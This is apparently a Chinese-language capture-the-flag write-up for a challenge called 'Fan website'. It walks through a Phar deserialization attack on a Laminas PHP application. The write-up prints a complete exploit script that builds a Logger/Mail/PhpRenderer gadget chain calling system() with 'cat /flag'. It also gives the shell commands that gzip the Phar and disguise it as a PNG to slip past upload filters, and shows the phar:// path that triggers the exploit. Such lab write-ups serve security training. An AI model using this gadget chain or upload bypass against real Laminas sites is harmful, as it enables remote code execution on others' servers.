Phar反序列化 题目名字:Fan website
题目分析
打开题目利用 www.zip
下载源码
在Album文件夹里发现文件module.config.php文件,里面有路径设置
1
| 'route' => '/album[/:action[/:id]]'
|
action
就是代表AlbumController.php文件里面的函数,通过链接
http://eci-2ze63phc4zo0fj46nyx7.cloudeci1.ichunqiu.com/album/imgupload
即可访问该函数
此处就是Phar文件上传点
去网上找了一个链子 https://xz.aliyun.com/t/8975#toc-12 并改编了一下
Phar文件上传要求
过滤’php’和’HALT_COMPILER’. 只需要将生成的phar文件gzip一下即可
文件大小需要大于3kb .
随便在一个__construct()中加入一个变量 $this->tmp = file_get_contents("/bin/rmdir");即可
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php namespace Laminas\View\Resolver{ class TemplateMapResolver{ protected $map = ["setBody"=>"system"]; } } namespace Laminas\View\Renderer{ class PhpRenderer{ private $__helpers; function __construct(){ $this->tmp = file_get_contents("/bin/rmdir"); $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver(); } } } namespace Laminas\Log\Writer{ abstract class AbstractWriter{}
class Mail extends AbstractWriter{ protected $eventsToMail = ["cat /flag"]; protected $subjectPrependText = null; protected $mail; function __construct(){ $this->mail = new \Laminas\View\Renderer\PhpRenderer(); } } } namespace Laminas\Log{ class Logger{ protected $writers; function __construct(){ $this->writers = [new \Laminas\Log\Writer\Mail()]; } } } namespace { $phar = new Phar('phar.phar'); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new \Laminas\Log\Logger(); $phar -> setMetadata($object); $phar -> stopBuffering(); } ?>
|
在kali中使用命令
1 2 3
| php -d 'phar.readonly=0' exp.php gzip phar.phar mv phar.phar.gz phar.png
|
上传文件后获得文件路径
/var/www/public/img/ed54ee58cd01e120e27939fe4a64fa92.png
接下来就是想在哪个地方使用phar://读取该文件
查看源码中有文件删除函数
访问后得到一个可以输入文件路径的地方
直接输入
phar:///var/www/public/img/ed54ee58cd01e120e27939fe4a64fa92.png
即可phar反序列化